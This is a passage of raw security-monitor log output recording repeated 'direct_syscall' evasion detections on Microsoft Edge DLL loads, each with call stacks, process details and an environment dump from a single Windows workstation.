C:\Windows\System32\KernelBase.dll!FreeLibrary|0x7ffc8e0b6c0a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce001cf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ec91594 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec914c8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7b9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175638 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7653735 +0100 CET + Params: base_address➜ 7ffcc9b80000, checksum➜ 171999, default_address➜ 7ffcc9b80000, file_path➜ C:\Windows\System32\netapi32.dll, image_size➜ 106496, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc8e0b6e9e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e0b6c73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cf55d19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8f3cdf14 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8edd48d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8edd4839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175738 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9140703 +0100 CET + Params: base_address➜ 7ffcd55d0000, checksum➜ 1520707, default_address➜ 7ffcd55d0000, file_path➜ C:\Windows\System32\dsreg.dll, image_size➜ 1466368, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1eb4d C:\Windows\System32\ntdll.dll!RtlReleaseSRWLockExclusive|0x7ffcdea76fb7 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffcdbbe4e5c C:\Windows\System32\KernelBase.dll!GetProcAddressForCaller|0x7ffc8cf55d3c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8f3cdf14 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8edd48d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8edd4839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175780 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9155048 +0100 CET + Params: base_address➜ 7ffcdc600000, checksum➜ 1584869, default_address➜ 7ffcdc600000, file_path➜ C:\Windows\System32\crypt32.dll, image_size➜ 1536000, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files 